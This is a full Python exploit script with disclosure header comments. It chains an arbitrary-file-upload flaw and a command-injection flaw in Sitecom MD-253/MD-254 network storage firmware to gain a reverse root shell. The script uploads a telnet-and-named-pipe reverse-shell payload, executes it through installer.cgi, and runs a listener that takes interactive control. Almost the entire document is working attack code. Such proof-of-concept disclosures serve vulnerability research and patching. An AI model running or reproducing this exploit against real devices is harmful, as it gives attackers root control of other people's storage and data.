Sitecom MD-25x Multiple Vulnerabilities Reverse Root Shell Exploit

                                                #!/usr/bin/python
#
# Exploit Title: Sitecom MD-253 and MD-254 Network Storage Reverse Shell Exploit
# Date: 09/11/12
# Exploit Author: Mattijs van Ommeren (mattijs _ at _ alcyon _ dot _nl)
# Vendor Homepage: http://www.sitecom.com
# Software Link: http://www.sitecom.com/download/5012/SitecomNas.2.4.17.bin
# Version: 2.4.17 and below
# Tested on: Windows 7 x64 and Backtrack 5 R1
# CVE : N/A
#
# This PoC exploit code demonstrates how several bugs in Sitecom MD-253 and MD-254 Network Storage
# devices can be combined to obtain a root shell.
#
# Firmware versions up to and including 2.4.17 are affected by the following vulnerabilities:
#
# 1. The /cgi-bin/upload CGI used by the firmware update function allows arbitrary file uploads that are:
#     - granted execute permissions 
#     - not removed after uploading if they don't contain valid firmware
#     - stored in a predictable location
# 2. Installer.cgi contains a command injection vulnerability that allows one to run arbitrary commands as
#    root (only a limited character set can be used due to URL-encoding by CGI-handler)
#
# Known Limitations:
#	- Crude heuristics to determine whether a pseudo prompt needs to be echoed to stderr
#
# Vulnerability Details:
#	- http://www.alcyon.nl/advisories/aa-007
#	- http://www.alcyon.nl/advisories/aa-008
#
# Latest version of this exploit:
#   - http://www.alcyon.nl/blog/sitecom-poc-exploit
#

import sys
import os
import socket
import thread
import datetime
from optparse import OptionParser

upload_url = '/cgi-bin/upload'
cmd_inj_url = '/cgi-bin/installer.cgi?SetExecTable&%s'
sh_name = 'revsh'

sh_script = """
#!/bin/sh
mknod /tmp/backpipe p
telnet %s %s 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe
# clean up our mess
rm -f /tmp/backpipe
rm -f /tmp/%s
""".rstrip('\r')

headers = """Host: %s\r
User-Agent: Mozilla/5.0 (PwNAS 1.0; rv:1.0)\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
Accept-Language: en-us,en;q=0.5\r
Proxy-Connection: close\r
Referer: http://%s/firmware.htm\r
Cookie: language=en;\r\n"""

class Exploit:

	def stdin_thread(self, sock):
		try:
			fd = sys.stdin.fileno()
			while True:
				data = os.read(fd, 1024)
				if not data:
					break
				while True:
					nleft = len(data)
					nleft -= sock.send(data)
					if nleft == 0:
						break
		except:
			pass
		sock.close()
		self.running = False

	def stdout_thread(self, sock):
		last = datetime.datetime.now()	
		try:
			fd = sys.stdout.fileno()
			while True:
				if (datetime.datetime.now()-last<datetime.timedelta(milliseconds=500)):
					sys.stderr.write('# '); # Insert fake prompt
				last = datetime.datetime.now()
				data = sock.recv(1024)
				if not data:
					break
				while True:
					nleft = len(data)
					nleft -= os.write(fd, data)
					if nleft == 0:
						break
		except Exception as e:
			print e
			pass
		sock.close()
		self.running = False

	def parse_options(self):
		parser = OptionParser(usage="usage: %prog [options]")
		parser.add_option("-r", "--remote-host", action="store", type="string", dest="hostname", 
			help="Specify the host to connect to")
		parser.add_option("-l", "--listener-address", action="store", type="string", dest="listener_ip", 
			help="Target IP for reverse shell connection")
		parser.add_option("-p","--port",action="store",type="int",dest="port",
			help="TCP port for the reverse shell connection")

		parser.set_defaults(hostname=None, listener_ip=None, port=7777)
		(options, args) = parser.parse_args();

		if(options.hostname == None):
			sys.stdout.write("Remote hostname/IP required\n")
			parser.print_help()
			sys.exit()
		
		#self.forced_bind = (options.listener_ip != None)
		self.listener_ip = options.listener_ip		
		self.hostname = options.hostname
		self.port = options.port

	def start_local_listener(self):
		self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.serv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,  1)

		try:
			self.serv.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
		except socket.error:
			sys.stderr.write("[-] Unable to set TCP_NODELAY")
		
		try:
			self.serv.bind((self.listener_ip, self.port))
		except:
			print "[-] Unable to bind to given IP-address. Attempting to bind on default address. You probably need a #NAT/PAT rule if you're behind a firewall." 		
			try:
				self.serv.bind(('', self.port))
			except:
				print "[-] Unable to bind to default address. Aborting."
				sys.exit(2)

		print "[*] Listener started on %s:%s" % (self.serv.getsockname()[0], self.port)
			
		self.serv.listen(5)
		self.clientsock, addr = self.serv.accept()
		print "[*] Incoming connection from %s:%s" % (self.clientsock.getsockname()[0], self.clientsock.getsockname()[1])
		self.clientsock.send('/bin/busybox uname -a\n');
		banner = self.clientsock.recv(2048)
		if (banner.find('Linux'))>=0:
			print "[*] W00t W00t, got shell!\n\n%s\n" % banner		
		thread.start_new_thread(self.stdin_thread, (self.clientsock,))
		thread.start_new_thread(self.stdout_thread, (self.clientsock,))
		
	def connect_socket(self):
		print "[*] Connecting..."
		try:
			self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			self.socket.connect( (self.hostname, 80) )
			if not self.listener_ip:
				self.listener_ip = self.socket.getsockname()[0]
			print "[*] Connected to %s (%s) " % (self.hostname, self.socket.getpeername()[0])
		except Exception as inst:
			print inst
			print "[-] Unable to connect"
			sys.exit(2)
			
	def upload_payload(self):
		print "[*] Uploading payload\n"
		try:
			self.socket.send('POST %s HTTP/1.1\n' % upload_url)
			self.send_headers()
			ct = 'Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n'
			begin_file='-----------------------------41184676334\r\n\
Content-Disposition: form-data; name="file"; filename="%s"\r\n\
Content-Type: application/octet-stream\r\n\r'
			end_file='\r\n-----------------------------41184676334--\r\n'
			pl = ''.join([begin_file, sh_script, end_file]) % (sh_name, self.listener_ip, self.port, sh_name)
			cl = 'Content-Length: %s\r\n\r\n' % (len(pl))
			crlf = '\r\n'
			data = ''.join([ct,cl,pl,crlf])
			self.socket.send(data)
			if self.socket.recv(2048).find("200 OK")>=0 and self.socket.recv(2048).find('/tmp/'+sh_name)>=0:
				print "[*] Payload succesfully uploaded"
				self.socket.close()
			else:
				print "[-] Unexpected response. Trying to proceed anyway."				
		except:
			print "[-] Error uploading payload. Aborting."
			sys.exit(2)
			
	def send_headers(self):
		data = headers %(self.hostname, self.hostname)
		self.socket.send(data)
	
	def execute_payload(self):
		print "[*] Executing payload"
		cmd = '/tmp/' + sh_name
		req = 'GET %s HTTP/1.1\r\n' % (cmd_inj_url % cmd)
		cr = '\r\n'
		self.socket.send(''.join([req,cr])) 
		self.send_headers()
		if self.socket.recv(2048).find("200 OK")>=0:
			print "[*] Finished executing payload"
		self.socket.close()

	def run(self):
		self.line_buf = ''
		self.prompt = False
		self.parse_options()
		self.connect_socket()
		thread.start_new_thread(self.start_local_listener, ())
		self.upload_payload()
		self.connect_socket()
		self.execute_payload()
		print "[*] Waiting for reverse shell connection"
		self.running = True
		while self.running:
			pass
		
exploit = Exploit()
exploit.run()